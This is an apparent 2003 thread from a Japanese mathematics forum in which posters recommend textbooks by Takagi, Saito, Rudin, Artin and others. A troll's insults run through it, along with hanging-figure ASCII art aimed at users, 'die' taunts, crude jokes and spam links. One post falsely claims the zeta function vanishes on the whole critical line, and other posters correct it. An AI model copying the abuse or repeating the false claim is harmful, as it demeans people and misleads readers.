　　　　　　　　　　　　　　　　　　　|　　|　 ∧＿∧　　|　　　　　　|
　　　　　　　　　　　　　　　　　　||　|　/⌒（　´_ゝ`）　いらねえよ算数ヲタが！
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　　　　　　　　　　　　　　　　　　（　ヽ　　　＿＿ヽ　||　　　|　　|　|　|
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　　　　　　　　　　　　　　　　| |＿/　/ヽ　つ|>>303つ　　7　　　|　||　　||　|　|
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　　　　　　　　　　　　　　　　　　　　　＜　　　　　　　ガシャッ!!!
　　　　　　　　　　　　　　　　　　　　　　Ｖ　Ｖ　Ｖ　Ｖ
313 名前： 次世代のワイルズ 投稿日： 03/05/22 14:28: >>309

頭の悪い工学野郎は
石村のアホ本でも読んでろよ！

もう2度と数学板に来んなヴァカ
314 名前： １３２人目の素数さん 投稿日： 03/05/22 14:33: >>310
サンクス。すごい豪華な名著が５冊。
入学時に買って、卒業までには読める実力をつける。
そういうバロメーターにもなるか。

数論講義/J.-P.セール
代数函数論/岩澤健吉
可換環論/松村英之
解析概論/高木貞治
多様体入門/松島与三
315 名前： １３２人目の素数さん 投稿日： 03/05/22 15:39: ＧＥＴ’Ｓ
316 名前： １３２人目の素数さん 投稿日： 03/05/22 15:39: ★少しだけオススメ★
http://yahooo.s2.x-beat.com/linkvp/linkvp.html
317 名前： １３２人目の素数さん 投稿日： 03/05/22 16:23: 昔の東大のスタンダードはコレ。

数について/デーデキント
数の体系(上･下)/彌永昌吉
近世数学史談/高木貞治
解析概論/高木貞治
初等整数論講義/高木貞治
代数学講義/高木貞治
代数的整数論/高木貞治
318 名前： １３２人目の素数さん 投稿日： 03/05/22 16:29: 今の東大のスタンダードはコレ。

よくわかる線型代数/石村園子
数学屋台/芳沢光雄
皆殺しの数学/秋山仁
ALGO/ピーターフランクル監修
319 名前： １３２人目の素数さん 投稿日： 03/05/22 16:36: >>318
もういいよ。
つまんないから止めれ。
汚れるだけ。
320 名前： １３２人目の素数さん 投稿日： 03/05/22 16:40: むなしいのぅ...虚学に溺れるやつって。

なあ、次世代のワイルズ。

工学部一同。
321 名前： １３２人目の素数さん 投稿日： 03/05/22 16:49: 今の東大のスタンダード？

線形代数入門/斎藤
解析入門1・2/杉浦
集合と位相/彌永
複素解析/小平
多様体入門/松島与三

って所だろうか。教官の脳内では
322 名前： １３２人目の素数さん 投稿日： 03/05/22 17:04: 実状

線形代数入門/斎藤
解析入門1/杉浦
集合と位相/内田
複素解析/高橋
多様体の基礎/松本
323 名前： 次世代のワイルズ 投稿日： 03/05/22 17:05: >>320

負け犬の遠いぼえ(w
324 名前： １３２人目の素数さん 投稿日： 03/05/22 17:34: >>323
就職できることを祈る...(w
325 名前： 次世代のワイルズ 投稿日： 03/05/22 17:41: ヴァカな工学部はジツガクでもがんばりな(w
326 名前： １３２人目の素数さん 投稿日： 03/05/22 18:38: 社会復帰を祈る...＞ワイルズ（２ちゃんねら）
327 名前： １３２人目の素数さん 投稿日： 03/05/22 18:40: >>322
今の東大ではこっちがスタンダード。

堀川穎二「新しい解析入門コース」　←　解析入門1/杉浦
堀川頴二「複素関数論の要諦」　　　←　複素解析/小平

線形代数入門/斎藤
集合と位相/内田
多様体の基礎/松本

斎藤の線代以外はかなりレベルを落としてます。
328 名前： 営業職 投稿日： 03/05/22 19:10: 時間があったら読みたい洋書５冊（まず無理なんだけどね（ｗ）

Elements of Set Theory　
　by Herbert B. Enderton

Algebra
　by Saunders Mac Lane, Garrett Birkhoff

Topology
　by James R. Munkres

Principles of Mathematical Analysis
　by Walter Rudin

Sheaves in Geometry and Logic: A First Introduction to Topos Theory
　by I. Moerdijk, Saunders MacLane
329 名前： 次世代のワイルズ 投稿日： 03/05/22 19:12: >>328

おまえ，それ読んでそーすんの？

知的おしゃれ？(w
330 名前： 営業職 投稿日： 03/05/22 19:16: ごめん、間違えた。

Principles of Mathematical Analysis

じゃなくて（これは昔読んだ）

Real and Complex Analysis
　by Walter Rudin
331 名前： 次世代のワイルズ 投稿日： 03/05/22 19:18: >>330

だから，何のために読むのか見えてこないんだよ
中途半端な本の選択で

どうせカッコつけだろ
332 名前： 営業職 投稿日： 03/05/22 19:19: >おまえ，それ読んでそーすんの？

読んだあとのことなんて考えてないよ。つーか、多分読まない(読めない）
単なる憧れ。
333 名前： 次世代のワイルズ 投稿日： 03/05/22 19:20: >>332

くだらないからやめな

おまえは洋書と数学にポウズとしてあこがれてるだけ

そーいうの一番カッコ悪いよ
334 名前： 次世代のワイルズ 投稿日： 03/05/22 19:21: > 営業職

それにしても，おまえ集合論すら知らないの？

なんとかしろよ
335 名前： 営業職 投稿日： 03/05/22 19:24: >それにしても，おまえ集合論すら知らないの？

一応昔、難波先生の本は読んだよ。
ところで334は集合論を知ってるの？
336 名前： 次世代のワイルズ 投稿日： 03/05/22 19:25: >>335

おまえよりはな
337 名前： 次世代のワイルズ 投稿日： 03/05/22 19:27: > 営業職

おまえ勘違いしてそうだから，
教えてやるけど，logic は数学じゃないよ
338 名前： 営業職 投稿日： 03/05/22 19:33: >次世代のワイルズ

集合論とlogic は違うよ（何か勘違いしてそうだから）
339 名前： 次世代のワイルズ 投稿日： 03/05/22 19:35: >>338
> 集合論とlogic は違うよ

詳しく説明聞きたいな

詳細によろしく
340 名前： 次世代のワイルズ 投稿日： 03/05/22 19:38: 知ったかの営業職は逃亡したようです(w
341 名前： 営業職 投稿日： 03/05/22 19:39: >次世代のワイルズ

粘着で絡んできそうだから、嫌ですぅ～（ｗ
342 名前： 次世代のワイルズ 投稿日： 03/05/22 19:40: >>341

答えになってないんだけど
343 名前： 営業職 投稿日： 03/05/22 19:42: >知ったかの営業職は逃亡したようです(w

つーか、スレの主旨から外れてきたので逃亡します（ｗ
344 名前： １３２人目の素数さん 投稿日： 03/05/22 19:42: 次世代のワイルズきっも
345 名前： 次世代のワイルズ 投稿日： 03/05/22 19:42: > 営業職

おまえみたいな知ったかで，
おしゃれ感覚で数学使われるのが
一番腹立つんだよ
346 名前： 次世代のワイルズ 投稿日： 03/05/22 19:43: >>344 = 営業職
347 名前： 次世代のワイルズ 投稿日： 03/05/22 19:44: >>343

やっぱり逃亡しやがったか

知ったか野郎
348 名前： １３２人目の素数さん 投稿日： 03/05/22 19:48: 洋書ってだけでおしゃれ感覚言われるのも哀しいぞ。
別に悪い部分は無いし、英語に慣れるにもいいのに…

>>328 >>330で挙げられた本を知ったかと言う根拠は何なのやら。
349 名前： 次世代のワイルズ 投稿日： 03/05/22 19:53: >>348

おまえ，ちゃんとレス読めよ
350 名前： １３２人目の素数さん 投稿日： 03/05/22 19:53: >>346≠>>347
351 名前： １３２人目の素数さん 投稿日： 03/05/22 19:58: まあ、なんだな、数学をやるつもりだったら英語の論文と数学書は最低読めないと話にならないのだよ。
あくまで最低限必要であって、読めたからってどうってことないが。だから、英書をリストしたからって、
チャチャをいれるのは、問題外。
352 名前： 次世代のワイルズ 投稿日： 03/05/22 20:01: おれに文句があるやつは

工房だが、未解決問題に挑戦しています！！
http://science.2ch.net/test/read.cgi/math/1052512828/

来い

おれはこのスレの 1 だ

不思議なことに今までに何人か自殺してるけどな
353 名前： １３２人目の素数さん 投稿日： 03/05/22 20:02: 「ゲーデルの主な業績は集合論であり、数学では“全く”無い。」のか…
こんな事言う奴に知ったかって言うのは許されないのでしょうか神様。
354 名前： 次世代のワイルズ 投稿日： 03/05/22 20:03: >>351

洋書をリストするのはいいが，
どれもくだらない本ばっかりだったんでな
355 名前： １３２人目の素数さん 投稿日： 03/05/22 20:10: RudinのとMacLaneのAlgebraは下らないかどうかは分からぬが、
分かりやすい本ではあった。
356 名前： １３２人目の素数さん 投稿日： 03/05/22 20:11: >>354

351だが、集合論の本は俺の無知で知らないが、そのほかは定評がある良書だよ。
357 名前： 次世代のワイルズ 投稿日： 03/05/22 20:12: 　　　　　　　　∥　　　　　　　　
　　　　　　　　('A`)　　← 営業職　
　　　　　　　　（　）　　　　　　　
　　　　　|　　　 | |
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　　　　／￣￣
358 名前： １３２人目の素数さん 投稿日： 03/05/22 20:17: 洋書で５冊ならこっちの方がいいんじゃない？
一部上記と重複するけど

Walter Rudin "Principles of Mathematical Analysis"
M. Artin "Algebra"
Atiyah, Macdnald "Intoroduction to Comutative Algebra"
James R. Munkres "Topology"
A. Weil "Basic Number Theory"
359 名前： １３２人目の素数さん 投稿日： 03/05/22 20:23: 洋書版の名著5冊を挙げますか(w
和書に続いて。
360 名前： １３２人目の素数さん 投稿日： 03/05/22 21:04: 　　　　∥　　　　　　　　
　　　　　　　　('A`)　　←次世代のワイルズ
　　　　　　　（　）　　　　　　　
　　　　　|　　　 | |
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　　　　／￣￣
361 名前： １３２人目の素数さん 投稿日： 03/05/22 21:05: 　　　　∥　　　　　　　　
　　　　　　　　('A`)
　　　　　（　）　　　　　　　
　　　　　|　　　 | |
　　　　　|
　　　　／￣￣
362 名前： 次世代のワイルズ 投稿日： 03/05/22 21:06: 　　　　　　　　∥　　　　　　　　
　　　　　　　　('A`)　　← >>360
　　　　　　　　（　）　　　　　　　
　　　　　|　　　 | |
　　　　　|
　　　　／￣￣
363 名前： １３２人目の素数さん 投稿日： 03/05/22 21:07: 　　　　　 ∥　　　　　　　　
　　　　　　('A`)
　　　　　　　　（　）　　　　　　　
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　　　　／￣￣
364 名前： １３２人目の素数さん 投稿日： 03/05/22 21:08: 　　　　　 ∥　　　　　　　　
　　　　　　('A`)
　　　　　　　　（　）　　　　　　　
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　　　　／￣￣
365 名前： １３２人目の素数さん 投稿日： 03/05/22 21:38: 　　　　　 ∥　　　　　　　　
　　　　　　('A`)
　　　　　　　　（　）　　　　　　　
|　　　 | |
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　　　　／￣￣
366 名前： １３２人目の素数さん 投稿日： 03/05/22 21:42: >>365
もう体がバラバラだね
367 名前： １３２人目の素数さん 投稿日： 03/05/22 22:18: /ヘ;;;;;　　
';=r=‐ﾘ　　いい子だから
ヽ二/　　　　荒らしは止めたまえ
368 名前： 次世代のワイルズ 投稿日： 03/05/22 22:19: 　　　　　　　　∥　　　　　　　　
　　　　　　　　('A`)　　← >>367
　　　　　　　　（　）　　　　　　　
　　　　　|　　　 | |
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　　　　／￣￣
369 名前： １３２人目の素数さん 投稿日： 03/05/22 22:35: 何度かBasic Number Theoryが挙げられてるけど，何か勘違いしてないですか？
370 名前： １３２人目の素数さん 投稿日： 03/05/22 22:38: 次世代のワイルズは病気だから仕方ないけど、
次世代のワイルズの相手してる奴は死ね。
371 名前： １３２人目の素数さん 投稿日： 03/05/22 23:40: この本達もかなり楽しく読めますよ。

高木貞治「近世数学史談」
久賀道郎「ガロアの夢」
長野正「曲面の数学」
堀田良之「加群十話」
サイモン・シン「フェルマーの最終定理」
上野・志賀・砂田編「現代数学の土壌１・２」
372 名前： １３２人目の素数さん 投稿日： 03/05/23 01:30: >>371
http://aserve.procen.net/nippyo/books/bookinfo.asp?No=1434
http://aserve.procen.net/nippyo/books/bookinfo.asp?No=1743
数学の土壌 1, 2 って↑の目次を見てると、内容を詰め込みすぎに見えるんだが、
読んで理解できるかね? すでに分かってる人にしか分からなそうな気が…。
373 名前： １３２人目の素数さん 投稿日： 03/05/23 01:38: >>372
それだけで使えるようになるわけは無いけど
どんな概念なのかを理解できる様にはなっていると思うよ。
みなさん頭をひねって工夫してお書きになっているし。
良書なのでお勧めできます。
374 名前： １３２人目の素数さん 投稿日： 03/05/23 02:01: >>371に続けてこれらをちゃんと勉強すれば
読める文章が増えるよ。

解析概論/高木貞治
線型代数学(裳華房)/佐武一郎
トポロジーと幾何学入門/シンガー, ソープ
数論講義/J.-P.セール
代数函数論/岩澤健吉
可換環論/松村英之
多様体入門/松島与三
初等整数論講義/高木貞治
375 名前： １３２人目の素数さん 投稿日： 03/05/23 02:07: 現代数学の「どじょう」投げ
ﾉﾟДﾟ)ﾉ　ξ
376 名前： １３２人目の素数さん 投稿日： 03/05/23 02:17: >>372
こんな本があったのか… Σ(；ﾟ□ﾟ)
377 名前： 次世代のワイルズ 投稿日： 03/05/23 02:21: 　　　　　　　　∥　　　　　　　　
　　　　　　　　('A`)　　← >>370
　　　　　　　　（　）　　　　　　　
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　　　　／￣￣
378 名前： １３２人目の素数さん 投稿日： 03/05/23 13:46: ドジョウはすごいなあー
379 名前： １３２人目の素数さん 投稿日： 03/05/23 13:57: 【質問】
東京大学出版の本って色が違うだけで全部同じデザインなんですか？
東京大学出版の数学書は全部ハードカバーですか？

スレと関係ないけど、Amazonのエディションの表記で、「単行本」と「単行本（ソフトカバー）」ってのがあるじゃないですか。
ソフトカバーの本でも「単行本」とだけ表記されてることがあるけど、そしたら一体何の為に「単行本（ソフトカバー）」と分けるの？
380 名前： １３２人目の素数さん 投稿日： 03/05/23 14:09: >>379
ソフトさの違いでわけるのさ。
おぱーいと同じだよ。
381 名前： １３２人目の素数さん 投稿日： 03/05/23 18:24: >>374

ひとつ爆弾が混じっているね。
382 名前： １３２人目の素数さん 投稿日： 03/05/23 18:46: >>381
どれだろう？読めそうなのを挙げたつもりなんだけど。
数論講義/J.-P.セール
代数函数論/岩澤健吉
これのどっちかだよね？
383 名前： １３２人目の素数さん 投稿日： 03/05/23 18:50: 代数函数論/岩澤健吉です。

漏れは一章で撃沈しました。
384 名前： １３２人目の素数さん 投稿日： 03/05/23 19:03: >>383
可換環論/松村英之
を先に読めばついて行けると思うよ。
岩澤の本は２章を読むと面白さが分かると思う。
がんばって！
385 名前： １３２人目の素数さん 投稿日： 03/05/23 19:40: 新入生には是非とも梅原・山田の『曲線と曲面』を薦めたい
386 名前： １３２人目の素数さん 投稿日： 03/05/23 20:02: >>385
読んだこと内のだけど、目次を見る限り小林昭七さんのほんとかなり分野がかぶっているんですね。
しかも、同じ裳華房だし。
小林さんのものより、分かりやすい丁寧な説明になってるのかな?
387 名前： １３２人目の素数さん 投稿日： 03/05/23 21:00: 東京大学出版会の本はハードカバー？
388 名前： １３２人目の素数さん 投稿日： 03/05/23 21:01: 東京大学出版会の基礎数学シリーズはハードカバーですか？
389 名前： １３２人目の素数さん 投稿日： 03/05/23 21:11: 梅原先生は小林先生の本に代わるスタンダードを目指したらしいよ
390 名前： １３２人目の素数さん 投稿日： 03/05/23 21:44: 佐武一郎の線型代数学(裳華房)のどこがいいのか、俺には分からん。
行列式の定義がいきなり天下り式に出てきたり、単因子論も分かりずらい。
391 名前： １３２人目の素数さん 投稿日： 03/05/23 22:13: 工学部の者なのですが、今度、微積のεーＮ論法を学んでみたいんです。
それで、高木貞治の解析概論を読もうかと思うのですが、
これって、易しいですか？
あまり難解なものは苦手なのですが・・難易度とかを教えていただけませんか？
392 名前： １３２人目の素数さん 投稿日： 03/05/23 22:16: >>390
天下り式の何処が悪い？

>>391
ε-N 論法を学ぶのに何故解析概論？
難易度は一概には言えんな。自分で本屋で見て確かめろ。
393 名前： 次世代のワイルズ 投稿日： 03/05/23 22:19: >>391

おまえは石村のアホ本でも読んでろ

工学部はヴァカなんだから
394 名前： １３２人目の素数さん 投稿日： 03/05/23 22:23: 自作自演、ｳｻﾞｷﾓ(w
395 名前： １３２人目の素数さん 投稿日： 03/05/23 22:25: ε-δと言ったほうがいいですよ。
ε-δ論法そのものを学びたい程度でしたら、解析概論を読む必要はないです。
どんな良本でもε-δ自体の説明と具体例程度でしたら、解析の本の3ページも費やしていないのが普通です。
一度、図書館に行ってまずは解析の本を数冊眺めてみるといいです。
ついでに言うと、解析概論は一度学んだ人には、その内容がぐっとくるたぐいのものだと思います。
私は佐武一郎の線型代数学もそんな本なのではと最近感じます。
あの本は、どちらかというと代数学よりは表現論に傾いてますので。
396 名前： ３９１ 投稿日： 03/05/23 22:31: >>393
もう読んでるよﾊﾞｶ
>>392
どうも。一応少し見ましたが、それだけでは難易度は何ともわからないので、
>>395
内容がぐっとくるってことは感動するとかそういう類のものでしょうか？
東大では１年の時に使う教科書だというので、是非読んでみたいなあと思いまして、
んで本屋で眺めると、なかなか良さそうだなあと思ったんですよ。

お二人ともどうもレスありがとうございました。
397 名前： 次世代のワイルズ 投稿日： 03/05/23 22:32: 　　　　　　　　∥　　　　　　　　
　　　　　　　　('A`)　　← >>391
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398 名前： 大滝村 ◆mygAWRCTDY 投稿日： 03/05/23 22:45: 解析概論って本屋に置いてないよ
399 名前： 次世代のワイルズ 投稿日： 03/05/23 22:45: >>398

そんなことここに書くんじゃねえよ

ヴァカ工学部
400 名前： 大滝村 ◆mygAWRCTDY 投稿日： 03/05/23 22:48: 僕は医学科です
401 名前： １３２人目の素数さん 投稿日： 03/05/23 22:56: そんな事より「カイジ」いい加減引っ張りすぎぢゃないか？
402 名前： 次世代のワイルズ 投稿日： 03/05/23 23:03: >>400

何でもいい

おまえがヴァカなことはまちがいない
403 名前： １３２人目の素数さん 投稿日： 03/05/23 23:08: >>402は将来ダンボールハウス行き
404 名前： 次世代のワイルズ 投稿日： 03/05/23 23:10: 　　　　　　　　∥　　　　　　　　
　　　　　　　　('A`)　　← >>403
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405 名前： １３２人目の素数さん 投稿日： 03/05/23 23:10: ζ関数はRe=1/2上で恒等にゼロになる。

ってどの本見たら書いてありまつか？
406 名前： １３２人目の素数さん 投稿日： 03/05/23 23:12: 　　　　　　　　∥　　　　　　　　
　　　　　　　　('A`)　　←次世代のワイルズ
　　　　　　　　（　）　　　　　　　
　　　　　|　　　 | |
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　　　　／￣￣
407 名前： １３２人目の素数さん 投稿日： 03/05/23 23:12: >>405
次世代のワイルズの脳内図書
408 名前： １３２人目の素数さん 投稿日： 03/05/23 23:13: >>405
でもそれは正しいことだよ。自分で調べてみ
409 名前： １３２人目の素数さん 投稿日： 03/05/23 23:22: >>408
＞でもそれは正しいことだよ。
まじっすか？
410 名前： １３２人目の素数さん 投稿日： 03/05/23 23:24: >>409
リーマンはζ関数のゼロ点は1/2＋ａｉだと予想している。
411 名前： １３２人目の素数さん 投稿日： 03/05/23 23:28: >>410
Re(s)=1/2上に限られる、だろ？
412 名前： 次世代のワイルズ 投稿日： 03/05/23 23:29: 　　　　　　　　∥　　　　　　　　
　　　　　　　　('A`)　　←大滝村 ◆mygAWRCTDY
　　　　　　　　（　）　　　　　　　
　　　　　|　　　 | |
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　　　　／￣￣
413 名前： １３２人目の素数さん 投稿日： 03/05/23 23:31: >>411
そうね
414 名前： １３２人目の素数さん 投稿日： 03/05/23 23:32: ＞1/2＋ａｉ
次世代のワイルズ？
昨日何を笑われていたのかまだわかってなかったのか・・・
心底イタイやつ
415 名前： １３２人目の素数さん 投稿日： 03/05/23 23:32: >>411
自明な零点を除けばそれで正解
416 名前： １３２人目の素数さん 投稿日： 03/05/23 23:33: >>410は次世代のワイルズ
417 名前： １３２人目の素数さん 投稿日： 03/05/23 23:35: >>410
いや、まじで違うんだけど・・・
418 名前： １３２人目の素数さん 投稿日： 03/05/23 23:36: >>405
書いてありません。Re(s)=1/2上に無数の零点があることは証明済み。
419 名前： １３２人目の素数さん 投稿日： 03/05/23 23:48: 数学以前に日本語に不自由しているようだな。
ζ(1/2+ai)=0 for all a という意味だ。
数学以前に日本語に不自由しているようだな。
ζ(1/2+ai)=0 for all a という意味だ。
数学以前に日本語に不自由しているようだな。
ζ(1/2+ai)=0 for all a という意味だ。
数学以前に日本語に不自由しているようだな。
ζ(1/2+ai)=0 for all a という意味だ。
数学以前に日本語に不自由しているようだな。
ζ(1/2+ai)=0 for all a という意味だ。　
420 名前： １３２人目の素数さん 投稿日： 03/05/23 23:50: 次世代のワイルズは、まずちゃんとした複素解析の本を読んでおけ。
人に何かを紹介するのはその後（永遠の時間の後？）でいいよ。
421 名前： １３２人目の素数さん 投稿日： 03/05/23 23:55: ってかどうせ釣り師なんだからほっときなよ。
422 名前： １３２人目の素数さん 投稿日： 03/05/23 23:56: いや、釣り師っつーか知らないだけだろ
423 名前： １３２人目の素数さん 投稿日： 03/05/24 00:05: 釣り師というより、ただの無知
424 名前： １３２人目の素数さん 投稿日： 03/05/24 00:08: 釣り師というより、知ったかぶりｗ　
425 名前： １３２人目の素数さん 投稿日： 03/05/24 00:23: 本人も知らないという自覚はあるだろ。
で、反応を楽しむために知ったかをやってるんだろう。要するに釣り
426 名前： １３２人目の素数さん 投稿日： 03/05/24 00:26: いやいや、完全に知ってるつもりになってるんだって。

＞数学以前に日本語に不自由しているようだな。
＞ζ(1/2+ai)=0 for all a という意味だ。

何度読んでも面白いね、これｗ
427 名前： １３２人目の素数さん 投稿日： 03/05/24 01:11: 　∥　　　　　　　　
　　　　　　　　('A`)　　←次世代のワイルズ
　　　　　　　　（　）　　　　　　　
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428 名前： １３２人目の素数さん 投稿日： 03/05/24 03:21: グロモフの本を読もうと思ったけど仏語は読めないから英訳のを見てみたら…
約4倍の厚さになってて驚いた。

コンヌの非可換幾何学といい、英訳になってから
量がもの凄い増えたってケースは良くある物なのかねぇ。
429 名前： １３２人目の素数さん 投稿日： 03/05/24 04:48: 　　　　　　　　　∥　　　　　　　　
　　　　　　　　('A`)　　←次世代のワイルズ
　　　　　　　　（　）　　　　　　　
　　　　　|　　　 | |
　　　　　|
　　　　／￣￣

これかなりウケるんだけどなにしてるとこ？
430 名前： １３２人目の素数さん 投稿日： 03/05/24 04:53: >>428
英訳で索引がついたり、その後の発展分が増補されたりは良くあるけど、
４倍はめずらしいね。ほとんど改訂版という感じだね。
431 名前： １３２人目の素数さん 投稿日： 03/05/24 08:41: >>428
それは英訳で増えたのではなくて、内容的にもかなり変わったのでは?
432 名前： １３２人目の素数さん 投稿日： 03/05/24 10:25: ょぅιﾞょゅぅヵヽぃ
433 名前： １３２人目の素数さん 投稿日： 03/05/24 10:26: 東京大学出版会の基礎数学シリーズはハードカバーですか？
434 名前： １３２人目の素数さん 投稿日： 03/05/24 10:28: そうでつ＞４３３
435 名前： １３２人目の素数さん 投稿日： 03/05/24 11:05: >>429

首吊り
436 名前： 次世代のワイルズ 投稿日： 03/05/24 11:30: >>398 大滝村 ◆mygAWRCTDY 03/05/23 22:45
解析概論って本屋に置いてないよ
解析概論って本屋に置いてないよ
解析概論って本屋に置いてないよ
解析概論って本屋に置いてないよ
解析概論って本屋に置いてないよ
解析概論って本屋に置いてないよ
解析概論って本屋に置いてないよ
解析概論って本屋に置いてないよ

おい名言だぜ(w

おまえは石村のアホ本でも読んでろ
437 名前： １３２人目の素数さん 投稿日： 03/05/24 14:30: ↑次世代のワイルズくんには石村本も読めないから、「酸っぱい葡萄」状態だね！！
438 名前： 次世代のワイルズ 投稿日： 03/05/24 15:19: >>437

ああ，そうだよ
あんな臭い本は読めねーな
439 名前： １３２人目の素数さん 投稿日： 03/05/24 19:25: 　　∥　　　　　　　　
　　　　　　　　('A`)　　←次世代のワイルズ
　　　　　　　　（　）　　　　　　　
　　　　　|　　　 | |
　　　　　|
　　　　／￣￣
石村本でも買って、基礎つけとけよ！ｹﾞﾗｹﾞﾗ
440 名前： 次世代のワイルズ 投稿日： 03/05/24 19:31: >>439 = 石村シンパ
441 名前： １３２人目の素数さん 投稿日： 03/05/24 20:36: 　　　　　　　　　∥　　　　　　　　
　　　　　　　　('A`)　　←次世代のワイルズ
　　　　　　　　（　）　　　　　　　
　　　　　|　　　 | |
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　　　　／￣￣
442 名前： １３２人目の素数さん 投稿日： 03/05/24 22:26: >>430-431
まぁその通りで、内容もかなり増えてた。
ちなみに428はStructures metriques des varietes Riemanniennesって本で
英訳はMetric Structures for Riemannian and Non-Riemannian Spacesです。
443 名前： １３２人目の素数さん 投稿日： 03/05/24 22:55: >>442
green book ってやつだね。
自分では読んだことないけど。

東大の図書館で図書カードの一番上に深谷さんの名前があって、中島さんや小野さんの
名前もあって「おおお」と思った記憶がある。
444 名前： １３２人目の素数さん 投稿日： 03/05/25 01:57: >>390

線型代数学(裳華房)/佐武一郎

ほとんどの線型代数学の教科書が代数学への接続を意識しているのに対して、
>>395の説明にもあるように、この本は表現論を強く意識していると思います。
元々「行列と行列式」という旧タイトルに「Ⅴ.テンソル代数」という章を追加
したのですが、その際に群の表現論まで概説しています。
応用例や他分野との関係などの説明が豊富であり活きた数学に接することが出来る反面、
「研究課題」として収録されている話題の全て理解することは初学者には苦痛を伴います。
そういう意味でも、一度、線型代数学を学んだ人には、その内容がぐっとくるたぐいのものだと思います。もう一点は、演習問題が少ないことで、他書で補う必要があります。
表現論を学ばなくてもよいとか、試験対策で十分な方には、斎藤「線型代数入門」（東大出版会）の方が良いと思います。
佐武のジョルダン標準形はきちんと書いてあるのに対して、斎藤のは単因子論を使っています。
ジョルダン標準形が理解できない場合、商空間とか同値類を使えるぐらい理解していないとか、
単項イデアル環上の加群の理論を知らないといったことが原因となっているようです。
445 名前： １３２人目の素数さん 投稿日： 03/05/25 08:01: >>444
英語の本で、線形代数の定番ってどんなのがあるんですか？
446 名前： １３２人目の素数さん 投稿日： 03/05/25 08:11: ＞東大の図書館で図書カードの一番上に深谷さんの名前があって、中島さんや小野さんの
＞名前もあって「おおお」と思った記憶がある。

深谷太香子たん　中島さち子たん　小野真弓たん　（；´Д｀）ﾊｧﾊｧ
447 名前： １３２人目の素数さん 投稿日： 03/05/25 08:51: >>445
Michael Artin "Algebra"
この本は線型代数から代数までカバーしている分厚い教科書です。
問題も多くて自習にも役に立ちます。
448 名前： １３２人目の素数さん 投稿日： 03/05/25 08:59: >>447
レス、有り難うございます
代数入門書の定番ですね
線形代数も、とりあえずこれやっとけば足りますか？
449 名前： １３２人目の素数さん 投稿日： 03/05/25 09:00: 微積と線代はこの4冊で十分だと思うよ。

高木貞治「解析概論」
佐武一郎「線型代数学」(裳華房)
Walter Rudin "Principles of Mathematical Analysis"
Michael Artin "Algebra"
450 名前： １３２人目の素数さん 投稿日： 03/05/25 09:56: とりあえず、
Michael Artin "Algebra"
やってみます
ありがとうございました
451 名前： １３２人目の素数さん 投稿日： 03/05/25 10:20: Artinは定義が不明瞭だとききましたが？
452 名前： １３２人目の素数さん 投稿日： 03/05/25 11:13: >>451
amazon.comのレビューにも似たようなこと書かれてたね。
いい評判もそれ以上に多かったけど。
どうなんだろう・・・
453 名前： １３２人目の素数さん 投稿日： 03/05/25 11:36: >>444

要するに、佐武の「線型代数学」は、入門書として不向きであるということ。
俺はこの本を最初に読んだおかげで、随分遠回りをさせられた。
454 名前： １３２人目の素数さん 投稿日： 03/05/25 11:48: ヤンキースで松井とレギュラーを争い、
「三割以上打つ自信がある」と自信満々で日本に乗り込んだレイサム。

しかし極度の不振に加え、先日は「人生で一番恥ずかしい」と自ら語る
プレーをして、すっかり意気消沈している。
このまま行けばオフを待たずに解雇されることは確実。

そんな可哀相な巨人・レイサム外野手に、われわれ2チャンネラーの力で
せめてオールスター出場という花を持たせてあげよう！

野球ファンもそうでない人も、みんなどんどん投票して
あげてください。
　　　　　　　↓
http://allstar.sanyo.co.jp/vote/
455 名前： １３２人目の素数さん 投稿日： 03/05/25 12:11: 今、岩波の現代数学の基礎シリーズを読んでいるんですけれども、
演習とかを繰り返すことによって理解が定着するとか言われたんで、
群論の良い演習書があったら教えて下さい。

ところで数学じゃなくて、科哲の本で
「無限の果てに何があるのか」足立桓雄(知恵の森文庫 ISBN 4-334-78150-0)
っていう文庫本が結構面白いんだけど、知っている人いる？
456 名前： 次世代のワイルズ 投稿日： 03/05/25 12:21: >>455

んなもん自分で探せヴァカ

もう2度く来んな！
457 名前： １３２人目の素数さん 投稿日： 03/05/25 12:29: 勉強の仕方
まず優しい本を読む
そして
さらに発展させた本を読んで予備知識をつけたら
名著と呼ばれてるのを読む
458 名前：美穂投稿日： 03/05/25 12:31: ４５７
459 名前： １３２人目の素数さん 投稿日： 03/05/25 13:02: 線形代数だったらLang, Linear Algebraってどうよ？
460 名前：美穂投稿日： 03/05/25 13:03: ４５９
461 名前： １３２人目の素数さん 投稿日： 03/05/25 13:38: >>446
深谷賢治、中島啓、小野薫。
462 名前： １３２人目の素数さん 投稿日： 03/05/25 14:11: >>459
良い本ですよ。でもちょっと神経質すぎるぐらい細かいところもあります。
日本語訳が昔、ダイヤモンド社から出ていました。今は絶版です。
463 名前：美穂投稿日： 03/05/25 14:15: ４６２
464 名前： 内田栄二 ◆0KFWZfjnEk 投稿日： 03/05/25 20:34: >>456
自分ひとりで探すための能力がないから聞いてんだろ！！
だから教えてください、おねがいします。
465 名前： １３２人目の素数さん 投稿日： 03/05/26 01:38: >>356
ｋａｍｅｒｅｓｕｄａｇａ
endertonの集合論の本も定評ある良書だよ
466 名前： １３２人目の素数さん 投稿日： 03/05/26 01:41: 次世代の何とかとかいうのは有名なドキュソですか？
467 名前： １３２人目の素数さん 投稿日： 03/05/26 11:43: 無限の果てには母さんのまむこがあった。　　
デイビット　カールトン
468 名前： _ 投稿日： 03/05/26 11:44: http://homepage.mac.com/hiroyuki43/jaz_b01.html
469 名前： １３２人目の素数さん 投稿日： 03/05/26 14:29: IAS の歴史をできるだけ詳しく書いた本てないですか？
470 名前： １３２人目の素数さん 投稿日： 03/05/26 14:53: >>469
「アインシュタインのなんとか」という本が昔の IAS のことがたくさん書いてあったように思う。

IASはプリンストンの研究所のことですよね?
471 名前： 469 投稿日： 03/05/26 15:07: >>470

そう． Princeton にある IAS のこと．

Einstein 関連のはけっこう読んだけど，
Einstein じゃない IAS が読みたいと思うたんだけど

できれば現在の状況まで書いたのがいい
472 名前： １３２人目の素数さん 投稿日： 03/05/26 15:17: >>471
上で言っているアインシュタインは本のタイトルです。
アインシュタインの部屋（上）［詳細］
http://www.kousakusha.co.jp/DTL/einoffice1.html
序文　小平邦彦

現在までの流れを触れたものだと、直接プリンストン研究所のサイトを見たほうがよさそうな。
473 名前： 469 投稿日： 03/05/26 15:34: >>472

その本けっこういけそうだね
やっぱり Einstein 中心だけど

小平さんが序を書いたところがイイ！
474 名前： １３２人目の素数さん 投稿日： 03/05/27 07:58: あげむ
475 名前： 469 投稿日： 03/05/27 15:20: >>472
